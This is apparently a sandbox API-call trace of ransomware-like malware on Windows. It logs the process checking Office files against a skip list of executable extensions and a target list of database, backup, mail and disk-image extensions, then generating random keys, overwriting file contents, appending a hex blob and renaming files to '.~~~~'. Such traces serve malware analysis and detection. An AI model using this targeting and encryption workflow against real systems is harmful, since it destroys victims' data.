	[0138.702] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.702] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.703] CloseHandle (hObject=0x108) returned 1
	[0138.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a628
	[0138.720] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css.~~~~")) returned 1
	[0138.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a628 | out: hHeap=0x300000) returned 1
	[0138.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0138.743] GetLastError () returned 0x0
	[0138.743] RtlWakeConditionVariable () returned 0x0
	[0138.743] GetCurrentThreadId () returned 0x9cc
	[0138.743] GetCurrentThreadId () returned 0x9cc
	[0138.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0138.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a430 | out: hHeap=0x300000) returned 1
	[0138.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825d30 | out: hHeap=0x300000) returned 1
	[0138.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a430
	[0138.744] lstrlenW (lpString=".scr") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".scr") returned 0x0
	[0138.744] lstrlenW (lpString=".cmd") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".cmd") returned 0x0
	[0138.744] lstrlenW (lpString=".dll") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dll") returned 0x0
	[0138.744] lstrlenW (lpString=".bat") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".bat") returned 0x0
	[0138.744] lstrlenW (lpString=".cpl") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".cpl") returned 0x0
	[0138.744] lstrlenW (lpString=".sys") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".sys") returned 0x0
	[0138.744] lstrlenW (lpString=".msc") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".msc") returned 0x0
	[0138.744] lstrlenW (lpString=".com") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".com") returned 0x0
	[0138.744] lstrlenW (lpString=".lnk") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".lnk") returned 0x0
	[0138.744] lstrlenW (lpString=".msp") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".msp") returned 0x0
	[0138.744] lstrlenW (lpString=".pif") returned 4
	[0138.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".pif") returned 0x0
	[0138.744] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0138.747] lstrlenW (lpString=".sqb") returned 4
	[0138.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".sqb") returned 0x0
	[0138.747] lstrlenW (lpString=".ost") returned 4
	[0138.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".ost") returned 0x0
	[0138.747] lstrlenW (lpString=".txt") returned 4
	[0138.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".txt") returned 0x0
	[0138.747] lstrlenW (lpString=".mdt") returned 4
	[0138.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".mdt") returned 0x0
	[0138.747] lstrlenW (lpString=".BDB") returned 4
	[0138.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".BDB") returned 0x0
	[0138.747] lstrlenW (lpString=".eql") returned 4
	[0138.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".eql") returned 0x0
	[0138.747] lstrlenW (lpString=".DBF") returned 4
	[0138.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DBF") returned 0x0
	[0138.747] lstrlenW (lpString=".EQL") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".EQL") returned 0x0
	[0138.748] lstrlenW (lpString=".FDB") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".FDB") returned 0x0
	[0138.748] lstrlenW (lpString=".EDB") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".EDB") returned 0x0
	[0138.748] lstrlenW (lpString=".DACPAC") returned 7
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.748] lstrlenW (lpString=".VHD") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".VHD") returned 0x0
	[0138.748] lstrlenW (lpString=".DBV") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DBV") returned 0x0
	[0138.748] lstrlenW (lpString=".dacpac") returned 7
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dacpac") returned 0x0
	[0138.748] lstrlenW (lpString=".sdf") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".sdf") returned 0x0
	[0138.748] lstrlenW (lpString=".accdb") returned 6
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".accdb") returned 0x0
	[0138.748] lstrlenW (lpString=".DBX") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DBX") returned 0x0
	[0138.748] lstrlenW (lpString=".MDT") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".MDT") returned 0x0
	[0138.748] lstrlenW (lpString=".SQB") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".SQB") returned 0x0
	[0138.748] lstrlenW (lpString=".vhd") returned 4
	[0138.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".vhd") returned 0x0
	[0138.749] lstrlenW (lpString=".bac") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".bac") returned 0x0
	[0138.749] lstrlenW (lpString=".mdf") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".mdf") returned 0x0
	[0138.749] lstrlenW (lpString=".BAK") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".BAK") returned 0x0
	[0138.749] lstrlenW (lpString=".BAC") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".BAC") returned 0x0
	[0138.749] lstrlenW (lpString=".dbs") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dbs") returned 0x0
	[0138.749] lstrlenW (lpString=".vhdx") returned 5
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".vhdx") returned 0x0
	[0138.749] lstrlenW (lpString=".NDF") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".NDF") returned 0x0
	[0138.749] lstrlenW (lpString=".dat") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dat") returned 0x0
	[0138.749] lstrlenW (lpString=".DBS") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DBS") returned 0x0
	[0138.749] lstrlenW (lpString=".CKP") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".CKP") returned 0x0
	[0138.749] lstrlenW (lpString=".edb") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".edb") returned 0x0
	[0138.749] lstrlenW (lpString=".PST") returned 4
	[0138.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".PST") returned 0x0
	[0138.749] lstrlenW (lpString=".dbf") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dbf") returned 0x0
	[0138.750] lstrlenW (lpString=".SQL") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".SQL") returned 0x0
	[0138.750] lstrlenW (lpString=".pst") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".pst") returned 0x0
	[0138.750] lstrlenW (lpString=".dbv") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dbv") returned 0x0
	[0138.750] lstrlenW (lpString=".SDF") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".SDF") returned 0x0
	[0138.750] lstrlenW (lpString=".dtxs") returned 5
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dtxs") returned 0x0
	[0138.750] lstrlenW (lpString=".db3") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".db3") returned 0x0
	[0138.750] lstrlenW (lpString=".OST") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".OST") returned 0x0
	[0138.750] lstrlenW (lpString=".dbx") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dbx") returned 0x0
	[0138.750] lstrlenW (lpString=".DB3") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DB3") returned 0x0
	[0138.750] lstrlenW (lpString=".DAT") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DAT") returned 0x0
	[0138.750] lstrlenW (lpString=".VHDX") returned 5
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".VHDX") returned 0x0
	[0138.750] lstrlenW (lpString=".ndf") returned 4
	[0138.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".ndf") returned 0x0
	[0138.750] lstrlenW (lpString=".DB") returned 3
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DB") returned 0x0
	[0138.751] lstrlenW (lpString=".sql") returned 4
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".sql") returned 0x0
	[0138.751] lstrlenW (lpString=".MYD") returned 4
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".MYD") returned 0x0
	[0138.751] lstrlenW (lpString=".DBT") returned 4
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DBT") returned 0x0
	[0138.751] lstrlenW (lpString=".ACCDB") returned 6
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.751] lstrlenW (lpString=".fdb") returned 4
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".fdb") returned 0x0
	[0138.751] lstrlenW (lpString=".bak") returned 4
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".bak") returned 0x0
	[0138.751] lstrlenW (lpString=".myd") returned 4
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".myd") returned 0x0
	[0138.751] lstrlenW (lpString=".DTXS") returned 5
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".DTXS") returned 0x0
	[0138.751] lstrlenW (lpString=".ckp") returned 4
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".ckp") returned 0x0
	[0138.751] lstrlenW (lpString=".dbt") returned 4
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".dbt") returned 0x0
	[0138.751] lstrlenW (lpString=".db") returned 3
	[0138.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".db") returned 0x0
	[0138.751] lstrlenW (lpString=".TXT") returned 4
	[0138.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".TXT") returned 0x0
	[0138.752] lstrlenW (lpString=".MDF") returned 4
	[0138.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".MDF") returned 0x0
	[0138.752] lstrlenW (lpString=".bdb") returned 4
	[0138.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".bdb") returned 0x0
	[0138.752] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0138.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.752] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0138.753] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.753] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0138.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0138.754] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25874395680) returned 1
	[0138.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbc1fa2f0, dwHighDateTime=0x1d60e1e)) 
	[0138.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0138.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0138.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0138.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825d30
	[0138.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825d30 | out: hHeap=0x300000) returned 1
	[0138.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a388
	[0138.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c65e0
	[0138.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a388 | out: hHeap=0x300000) returned 1
	[0138.755] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0138.755] GetLastError () returned 0x0
	[0138.755] GetLastError () returned 0x0
	[0138.756] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0138.759] GetLastError () returned 0x0
	[0138.759] GetLastError () returned 0x0
	[0138.759] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.763] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.764] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.764] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.764] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.764] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.764] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.765] CloseHandle (hObject=0x138) returned 1
	[0138.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a388
	[0138.767] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css.~~~~")) returned 1
	[0138.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a388 | out: hHeap=0x300000) returned 1
	[0138.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0138.774] GetLastError () returned 0x0
	[0138.775] RtlWakeConditionVariable () returned 0x0
	[0138.775] GetCurrentThreadId () returned 0x9cc
	[0138.775] GetCurrentThreadId () returned 0x9cc
	[0138.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0138.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399a58 | out: hHeap=0x300000) returned 1
	[0138.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825d68 | out: hHeap=0x300000) returned 1
	[0138.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399a58
	[0138.775] lstrlenW (lpString=".scr") returned 4
	[0138.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".scr") returned 0x0
	[0138.775] lstrlenW (lpString=".cmd") returned 4
	[0138.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".cmd") returned 0x0
	[0138.775] lstrlenW (lpString=".dll") returned 4
	[0138.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dll") returned 0x0
	[0138.775] lstrlenW (lpString=".bat") returned 4
	[0138.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".bat") returned 0x0
	[0138.775] lstrlenW (lpString=".cpl") returned 4
	[0138.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".cpl") returned 0x0
	[0138.775] lstrlenW (lpString=".sys") returned 4
	[0138.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".sys") returned 0x0
	[0138.776] lstrlenW (lpString=".msc") returned 4
	[0138.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".msc") returned 0x0
	[0138.776] lstrlenW (lpString=".com") returned 4
